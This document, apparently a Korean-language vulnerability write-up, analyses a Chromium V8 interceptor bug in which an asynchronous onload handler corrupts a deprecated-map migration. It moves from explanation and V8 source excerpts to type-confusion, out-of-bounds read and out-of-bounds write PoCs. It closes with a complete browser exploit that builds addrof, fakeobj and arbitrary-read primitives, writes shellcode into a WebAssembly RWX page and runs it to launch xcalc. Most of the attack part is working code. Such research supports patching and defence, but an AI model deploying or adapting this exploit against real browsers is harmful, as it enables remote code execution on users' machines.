~/chromium/src/out/debug/chrome --js-flags=--allow-natives-syntax test.html

onload는 비동기적으로 호출되기 때문에 o.b = 2;가 먼저 실행된 후에 o.c에 3이 들어가야 합니다. 그런데 출력을 보면,

Interceptor가 b를 탐색하다가 멈추고, onload가 모두 실행되어 o.c에 3이 들어간 후에 o.b를 assign하는 과정을 마무리하는 것을 확인할 수 있습니다.

이 현상은 OS의 scheduling과 비슷한 느낌으로 이해할 수 있습니다. document.body.append(htmlobject);에서 V8은 비동기 함수인 htmlobject.onload()의 호출을 잠시 미뤄 두고 다음 코드로 넘어갑니다. 다음 코드인 o.b = 2;를 실행하던 중에 b라는 이름의 property를 탐색하는 작업을 interceptor에게 넘겨 주고 대기하는데, 그 동안 이미 대기 중인 비동기 함수 htmlobject.onload() 내부의 코드를 실행합니다. 이런 과정을 거쳐서 o.b의 assignment가 완료되기 이전에 o.c를 assign하게 됩니다.

Bug

Interceptor는 object에서 property를 탐색하는 동안 onload와 같이 비동기적으로 실행되는 코드로 인해 object의 상태가 변할 수 있음을 간과하고 있습니다.

<!-- test.html -->

<body>
    <script>
        let htmlobject = document.createElement('object');  // htmlobject has interceptor
        htmlobject.type = 'text/html';
        htmlobject.onload = () => {
            // onload is called asynchronously
            o.a = 1;
        }
        let o = { __proto__: htmlobject };  // v8 encounters htmlobject which has interceptor while iterating prototype chain

        document.body.append(htmlobject);  // call htmlobject.onload()
        o.a = 2;

        % DebugPrint(o);
    </script>
</body>

위의 코드는 o.a = 2;가 실행되는 도중에 htmlobject.onload() 내부에서 o.a = 1;을 실행합니다. 출력을 보면 다음과 같습니다.

a라는 이름의 property가 두 번 추가됩니다. 그 결과,

같은 이름의 property 두 개가 중복하여 존재하는 상태를 만들 수 있습니다.

이 버그를 deprecated map을 가진 object에서 발생시키면 조금 다른 결과를 얻을 수 있습니다. Object에 property를 추가할 때 MigrateToMap() 함수에서 map transition을 처리합니다. Map의 상태에 따라 처리하는 방식이 달라지는데, 이 경우에는 MigrateFastToFast() 함수가 호출됩니다.

MigrateFastToFast() 함수는 일반적인 object의 map transition과 deprecated map을 가진 object의 map transition을 다르게 처리합니다. 일반적인 object의 경우,

/* v8/src/objects/js-objects.cc */

void MigrateFastToFast(Isolate* isolate, Handle<JSObject> object,
                       Handle<Map> new_map) {
  Handle<Map> old_map(object->map(), isolate);
  // In case of a regular transition.
  if (new_map->GetBackPointer(isolate) == *old_map) {
    // If the map does not add named properties, simply set the map.
    if (old_map->NumberOfOwnDescriptors() ==
        new_map->NumberOfOwnDescriptors()) {
      object->synchronized_set_map(*new_map);
      return;
    }

    // If the map adds a new kDescriptor property, simply set the map.
    PropertyDetails details = new_map->GetLastDescriptorDetails(isolate);
    if (details.location() == kDescriptor) {
      object->synchronized_set_map(*new_map);
      return;
    }

    // Check if we still have space in the {object}, in which case we
    // can also simply set the map (modulo a special case for mutable
    // double boxes).
    FieldIndex index =
        FieldIndex::ForDescriptor(isolate, *new_map, new_map->LastAdded());
    if (index.is_inobject() || index.outobject_array_index() <
                                   object->property_array(isolate).length()) {
      // Allocate HeapNumbers for double fields.
      if (index.is_double()) {
        auto value = isolate->factory()->NewHeapNumberWithHoleNaN();
        object->FastPropertyAtPut(index, *value);
      }
      object->synchronized_set_map(*new_map);
      return;
    }
...
  }
...
}

In-object property를 저장할 수 있는 공간이 남아 있다면, 단순하게 가장 마지막에 추가된 property(이 object의 입장에서는 지금 추가하고자 하는 property)의 index를 구해서 그 위치에 property를 추가합니다.

Deprecated map을 가진 object의 경우,

/* v8/src/objects/js-objects.cc */

void MigrateFastToFast(Isolate* isolate, Handle<JSObject> object,
                       Handle<Map> new_map) {
  Handle<Map> old_map(object->map(), isolate);
  // In case of a regular transition.
  if (new_map->GetBackPointer(isolate) == *old_map) {
...
  }

  int total_size = number_of_fields + unused;
  int external = total_size - inobject;
  Handle<PropertyArray> array = isolate->factory()->NewPropertyArray(external);

  // We use this array to temporarily store the inobject properties.
  Handle<FixedArray> inobject_props =
      isolate->factory()->NewFixedArray(inobject);

  Handle<DescriptorArray> old_descriptors(
      old_map->instance_descriptors(isolate), isolate);
  Handle<DescriptorArray> new_descriptors(
      new_map->instance_descriptors(isolate), isolate);
  int old_nof = old_map->NumberOfOwnDescriptors();
  int new_nof = new_map->NumberOfOwnDescriptors();

  // This method only supports generalizing instances to at least the same
  // number of properties.
  DCHECK(old_nof <= new_nof);

  for (InternalIndex i : InternalIndex::Range(old_nof)) {
    PropertyDetails details = new_descriptors->GetDetails(i);
    if (details.location() != kField) continue;
    DCHECK_EQ(kData, details.kind());
    PropertyDetails old_details = old_descriptors->GetDetails(i);
    Representation old_representation = old_details.representation();
    Representation representation = details.representation();
    Handle<Object> value;
    if (old_details.location() == kDescriptor) {
      if (old_details.kind() == kAccessor) {
        // In case of kAccessor -> kData property reconfiguration, the property
        // must already be prepared for data of certain type.
        DCHECK(!details.representation().IsNone());
        if (details.representation().IsDouble()) {
          value = isolate->factory()->NewHeapNumberWithHoleNaN();
        } else {
          value = isolate->factory()->uninitialized_value();
        }
      } else {
        DCHECK_EQ(kData, old_details.kind());
        value = handle(old_descriptors->GetStrongValue(isolate, i), isolate);
        DCHECK(!old_representation.IsDouble() && !representation.IsDouble());
      }
    } else {
      DCHECK_EQ(kField, old_details.location());
      FieldIndex index = FieldIndex::ForDescriptor(isolate, *old_map, i);
      value = handle(object->RawFastPropertyAt(isolate, index), isolate);
      if (!old_representation.IsDouble() && representation.IsDouble()) {
        DCHECK_IMPLIES(old_representation.IsNone(),
                       value->IsUninitialized(isolate));
        value = Object::NewStorageFor(isolate, value, representation);
      } else if (old_representation.IsDouble() && !representation.IsDouble()) {
        value = Object::WrapForRead(isolate, value, old_representation);
      }
    }
    DCHECK(!(representation.IsDouble() && value->IsSmi()));
    int target_index = new_descriptors->GetFieldIndex(i);
    if (target_index < inobject) {
      inobject_props->set(target_index, *value);
    } else {
      array->set(target_index - inobject, *value);
    }
  }

  for (InternalIndex i : InternalIndex::Range(old_nof, new_nof)) {
    PropertyDetails details = new_descriptors->GetDetails(i);
    if (details.location() != kField) continue;
    DCHECK_EQ(kData, details.kind());
    Handle<Object> value;
    if (details.representation().IsDouble()) {
      value = isolate->factory()->NewHeapNumberWithHoleNaN();
    } else {
      value = isolate->factory()->uninitialized_value();
    }
    int target_index = new_descriptors->GetFieldIndex(i);
    if (target_index < inobject) {
      inobject_props->set(target_index, *value);
    } else {
      array->set(target_index - inobject, *value);
    }
  }

  // From here on we cannot fail and we shouldn't GC anymore.
  DisallowGarbageCollection no_gc;

  Heap* heap = isolate->heap();

  // Copy (real) inobject properties. If necessary, stop at number_of_fields to
  // avoid overwriting |one_pointer_filler_map|.
  int limit = std::min(inobject, number_of_fields);
  for (int i = 0; i < limit; i++) {
    FieldIndex index = FieldIndex::ForPropertyIndex(*new_map, i);
    Object value = inobject_props->get(isolate, i);
    object->FastPropertyAtPut(index, value);
  }
...
}

현재 존재하는 property들에 대해서 한 번, 추가될 property들에 대해 한 번 반복문을 돌며 처리합니다.

만약 deprecated map을 가진 object에 같은 name의 property를 한 번 더 추가하게 되면, 이 작업은 첫 번째 반복문에서 처리되어 기존의 property의 값이 변경됩니다. 그리고 두 번째 반복문에서는 property를 추가할 공간에 임시로 oddball(uninitialized value)을 넣은 상태로 남아 있게 됩니다.

<!-- test.html -->

<body>
    <script>
        let htmlobject = document.createElement('object');
        htmlobject.type = 'text/html';

        let o1 = { __proto__: htmlobject };  // o1: map0
        let o2 = { __proto__: htmlobject };  // o2: map0

        htmlobject.onload = () => {
            o1.a = 1;  // o1: map1
            o2.a = 1.1;  // o2: map2 (map1 is deprecated)
        }
        document.body.append(htmlobject);

        o1.a = 2;  // o1: map3

        % DebugPrint(o1);
    </script>
</body>
~/chromium/src/out/debug/chrome --js-flags=--allow-natives-syntax test.html

PoC

Type confusion

<!-- poc.html -->

<body>
    <script>
        let htmlobject = document.createElement('object');
        htmlobject.type = 'text/html';

        let o1 = { __proto__: htmlobject };  // o1: map0
        let o2 = { __proto__: htmlobject };  // o2: map0

        let arr = [1.1];

        htmlobject.onload = () => {
            o1.regular = 1;  // o1: map1
            o1.corrupted = arr;  // o1: map2
        }
        document.body.append(htmlobject);
        o1.corrupted = 2.2;  // o1: map3

        htmlobject.onload = () => {
            o2.regular = 1;  // o2: map1
            o2.corrupted = arr;  // o2: map2
            o1.regular = 1.1;  // o1: map4 (map2 is deprecated)
        }
        document.body.append(htmlobject);
        o2.corrupted = 2.2;  // o2: map4

        % DebugPrint(o1);
        % DebugPrint(o2);
    </script>
</body>

OOB read

Turbofan의 최적화 과정 중 load elimination phase에서 CheckMaps 노드를 제거하도록 유도하여, type confusion을 통한 OOB read가 가능합니다.

/* v8/src/compiler/load-elimination.cc */

Reduction LoadElimination::ReduceCheckMaps(Node* node) {
  ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
  Node* const object = NodeProperties::GetValueInput(node, 0);
  Node* const effect = NodeProperties::GetEffectInput(node);
  AbstractState const* state = node_states_.Get(effect);
  if (state == nullptr) return NoChange();
  ZoneHandleSet<Map> object_maps;
  if (state->LookupMaps(object, &object_maps)) {
    if (maps.contains(object_maps)) return Replace(effect);
    // TODO(turbofan): Compute the intersection.
  }
  state = state->SetMaps(object, maps, zone());
  return UpdateState(node, state);
}
<!-- poc.html -->

<body>
    <script>
        let htmlobject = document.createElement('object');
        htmlobject.type = 'text/html';

        let o1 = { __proto__: htmlobject };  // o1: map0
        let o2 = { __proto__: htmlobject };  // o2: map0

        let obj = {};
        let arr = [1.1];
        arr.prop = 1;  // for optimization

        htmlobject.onload = () => {
            o1.regular = 1;  // o1: map1
            o1.corrupted = arr;  // o1: map2
        }
        document.body.append(htmlobject);
        o1.corrupted = 2.2;  // o1: map3

        htmlobject.onload = () => {
            o2.regular = 1;  // o2: map1
            o2.corrupted = arr;  // o2: map2
            o1.regular = 1.1;  // o1: map4 (map2 is deprecated)
        }
        document.body.append(htmlobject);
        o2.corrupted = obj;  // o2: map4

        function oob_read(o) {
            return o.corrupted[0];
        }

        % PrepareFunctionForOptimization(oob_read);
        oob_read(o1);
        % OptimizeFunctionOnNextCall(oob_read);
        console.log(oob_read(o2));
    </script>
</body>

Natives syntax를 사용하지 않은 코드는 다음과 같습니다.

<!-- poc.html -->

<body>
    <script>
        let htmlobject = document.createElement('object');
        htmlobject.type = 'text/html';

        let o1 = { __proto__: htmlobject };  // o1: map0
        let o2 = { __proto__: htmlobject };  // o2: map0

        let obj = {};
        let arr = [1.1];
        arr.prop = 1;  // for optimization

        htmlobject.onload = () => {
            o1.regular = 1;  // o1: map1
            o1.corrupted = arr;  // o1: map2
        }
        document.body.append(htmlobject);
        o1.corrupted = 2.2;  // o1: map3

        htmlobject.onload = () => {
            o2.regular = 1;  // o2: map1
            o2.corrupted = arr;  // o2: map2
            o1.regular = 1.1;  // o1: map4 (map2 is deprecated)
        }
        document.body.append(htmlobject);
        o2.corrupted = obj;  // o2: map4

        function oob_read(o) {
            return o.corrupted[0];
        }

        for (let i = 0; i < 0x10000; i++) { oob_read(o1); }  // optimization
        console.log(oob_read(o2));
    </script>
</body>

OOB write

최적화가 진행된 후에는 o1.corrupted에 있는 arro2.corrupted에 있는 obj를 똑같이 취급할 수 있습니다. 따라서 obj의 elements 포인터를 따라가서 arr의 크기에 해당하는 범위만큼 값을 쓸 수 있습니다.

<!-- poc.html -->

<body>
    <script>
        let htmlobject = document.createElement('object');
        htmlobject.type = 'text/html';

        let o1 = { __proto__: htmlobject };  // o1: map0
        let o2 = { __proto__: htmlobject };  // o2: map0

        let obj = {};
        obj[0] = 0.0;  // allocate elements
        let arr = [1.1, , , , , , , , , , , , , , , , , , , , 1.2];
        arr.prop = 1;  // for optimization

        htmlobject.onload = () => {
            o1.regular = 1;  // o1: map1
            o1.corrupted = arr;  // o1: map2
        }
        document.body.append(htmlobject);
        o1.corrupted = 2.2;  // o1: map3

        htmlobject.onload = () => {
            o2.regular = 1;  // o2: map1
            o2.corrupted = arr;  // o2: map2
            o1.regular = 1.1;  // o1: map4 (map2 is deprecated)
        }
        document.body.append(htmlobject);
        o2.corrupted = obj;  // o2: map4

        function oob_read(o) {
            return o.corrupted[0];
        }

        function oob_write(o) {
            o.corrupted[20] = 1.1;
        }

        for (let i = 0; i < 0x10000; i++) { oob_write(o1); }  // optimization
        oob_write(o2);

        % DebugPrint(obj);
    </script>
</body>

Exploit

Generate OOB array

obj의 elements와 임의의 array를 함수 내부에서 연이어 할당하면 연속되는 메모리에 할당되도록 할 수 있습니다. 그러면 OOB write로 array의 length 필드를 큰 값으로 덮어 자유로운 OOB read/write가 가능한 array로 만들 수 있습니다.

<!-- ex.html -->

<body>
    <script>
        let fi_buf = new ArrayBuffer(8);  // shared buffer
        let f_buf = new Float64Array(fi_buf);  // buffer for float
        let i_buf = new BigUint64Array(fi_buf);  // buffer for bigint

        // convert float to bigint
        function ftoi(f) {
            f_buf[0] = f;
            return i_buf[0];
        }

        // convert bigint to float
        function itof(i) {
            i_buf[0] = i;
            return f_buf[0];
        }

        // print integer as hex
        function hex(i) {
            console.log('0x' + i.toString(16));
        }


        let htmlobject = document.createElement('object');
        htmlobject.type = 'text/html';

        let o1, o2;
        let obj, oob_arr;

        function trigger() {
            o1 = { __proto__: htmlobject };  // o1: map0
            o2 = { __proto__: htmlobject };  // o2: map0

            obj = { 0: 1.1 };
            oob_arr = [1.1];
            oob_arr.length = 12;
            oob_arr.prop = 1;  // for optimization

            htmlobject.onload = () => {
                o1.regular = 1;  // o1: map1
                o1.corrupted = oob_arr;  // o1: map2
            }
            document.body.append(htmlobject);
            o1.corrupted = 2.2;  // o1: map3

            htmlobject.onload = () => {
                o2.regular = 1;  // o2: map1
                o2.corrupted = oob_arr;  // o2: map2
                o1.regular = 1.1;  // o1: map4 (map2 is deprecated)
            }
            document.body.append(htmlobject);
            o2.corrupted = obj;  // o2: map4
        }
        trigger();

        function oob_read(o) {
            return o.corrupted[12];
        }

        function oob_write(o, value) {
            o.corrupted[12] = value;
        }

        for (let i = 0; i < 0x10000; i++) { oob_read(o1); }  // optimization
        let len = ftoi(oob_read(o2));
        len &= (0xffffffffn << 32n);
        len |= 0xffffffen;
        for (let i = 0; i < 0x10000; i++) { oob_write(o1, 0.0); }  // optimization
        oob_write(o2, itof(len));  // overwrite length of oob_arr

        % DebugPrint(oob_arr);
    </script>
</body>

다음에는 고전적인 V8 exploit과 같이 addrof()/fakeobj() 구현, AAR 구현, shellcode 실행 순으로 진행합니다.

Full exploit

<!-- ex.html -->

<body>
    <script>
        let fi_buf = new ArrayBuffer(8);  // shared buffer
        let f_buf = new Float64Array(fi_buf);  // buffer for float
        let i_buf = new BigUint64Array(fi_buf);  // buffer for bigint

        // convert float to bigint
        function ftoi(f) {
            f_buf[0] = f;
            return i_buf[0];
        }

        // convert bigint to float
        function itof(i) {
            i_buf[0] = i;
            return f_buf[0];
        }

        // print integer as hex
        function hex(i) {
            console.log('0x' + i.toString(16));
        }


        let htmlobject = document.createElement('object');
        htmlobject.type = 'text/html';

        let o1, o2;
        let obj;
        let oob_arr;  // array for OOB
        let obj_arr;  // array for addrof and fakeobj
        let float_arr;  // array for float array map leak
        let buf;  // arraybuffer for shellcode

        let shellcode = [72, 184, 47, 120, 99, 97, 108, 99, 0, 0, 80, 72, 184, 47, 117, 115, 114, 47, 98, 105, 110, 80, 72, 37, 231, 72, 184, 120, 99, 97, 108, 99, 0, 0, 0, 80, 72, 137, 224, 106, 0, 80, 72, 137, 230, 72, 49, 246, 72, 199, 192, 58, 8, 0, 0, 80, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 72, 137, 224, 106, 0, 80, 72, 137, 226, 72, 199, 192, 59, 0, 0, 0, 5, 5];  // execve("/usr/bin/xcalc", 0, ["DISPLAY=:0", 0])

        function trigger() {
            o1 = { __proto__: htmlobject };  // o1: map0
            o2 = { __proto__: htmlobject };  // o2: map0

            obj = { 0: 1.1 };
            oob_arr = [1.1];
            oob_arr.length = 12;
            oob_arr.prop = 1;  // for optimization

            obj_arr = [{}];
            float_arr = [0.1];
            buf = new ArrayBuffer(shellcode.length);

            // set o1
            htmlobject.onload = () => {
                o1.regular = 1;  // o1: map1
                o1.corrupted = oob_arr;  // o1: map2
            }
            document.body.append(htmlobject);
            o1.corrupted = 2.2;  // o1: map3

            // set o2
            htmlobject.onload = () => {
                o2.regular = 1;  // o2: map1
                o2.corrupted = oob_arr;  // o2: map2
                o1.regular = 1.1;  // o1: map4 (map2 is deprecated)
            }
            document.body.append(htmlobject);
            o2.corrupted = obj;  // o2: map4
        }
        trigger();

        function oob_read(o) {
            return o.corrupted[12];
        }

        function oob_write(o, value) {
            o.corrupted[12] = value;
        }

        // generate OOB array
        for (let i = 0; i < 0x10000; i++) { oob_read(o1); }  // optimization
        let len = ftoi(oob_read(o2));
        len &= (0xffffffffn << 32n);
        len |= 0xffffffen;
        for (let i = 0; i < 0x10000; i++) { oob_write(o1, 0.0); }  // optimization
        oob_write(o2, itof(len));  // overwrite length of oob_arr

        // get compressed address of object
        function addrof(obj) {
            obj_arr[0] = obj;
            return ftoi(oob_arr[25]) >> 32n;
        }

        // generate fake object
        function fakeobj(addr) {
            let obj_addr = ftoi(oob_arr[25]);
            obj_addr &= 0xffffffffn;
            obj_addr |= (addr << 32n);
            oob_arr[25] = itof(obj_addr);
            return obj_arr[0];
        }

        let float_arr_map = ftoi(oob_arr[34]) & 0xffffffffn;  // map of float array

        // arbitrary address read
        function aar(addr) {
            let elements = addr - 8n;  // elements pointer
            let length = 2n;  // length is 1
            let float_arr_struct = [1.1, 1.2];  // fake float array structure
            float_arr_struct[0] = itof(float_arr_map);
            float_arr_struct[1] = itof((length << 32n) | elements);
            let fake = fakeobj(addrof(float_arr_struct) - 0x10n);  // fake float array
            return ftoi(fake[0]);
        }

        // allocate rwx memory region
        let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 0, 11]);
        let wasmModule = new WebAssembly.Module(wasmCode);
        let wasmInstance = new WebAssembly.Instance(wasmModule);
        let sh = wasmInstance.exports.main;
        let rwx = aar(addrof(wasmInstance) + 0x68n);  // address of rwx memory region

        // overwrite backing store of buf with address of rwx memory region
        let bs = ftoi(oob_arr[47]);
        bs &= 0xffffffffn;
        bs |= (rwx & 0xffffffffn) << 32n;
        oob_arr[38] = itof(bs);
        bs = ftoi(oob_arr[48]);
        bs &= (0xffffffffn << 32n);
        bs |= (rwx & (0xffffffffn << 32n)) >> 32n;
        oob_arr[39] = itof(bs);

        hex(rwx);

        // copy shellcode in rwx memory region
        let view = new DataView(buf);
        for (let i = 0; i < shellcode.length; i++) {
            view.setUint8(i, shellcode[i]);
        }

        sh();  // execute shellcode
    </script>
</body>
~/chromium/src/out/release/chrome ex.html --no-sandbox

References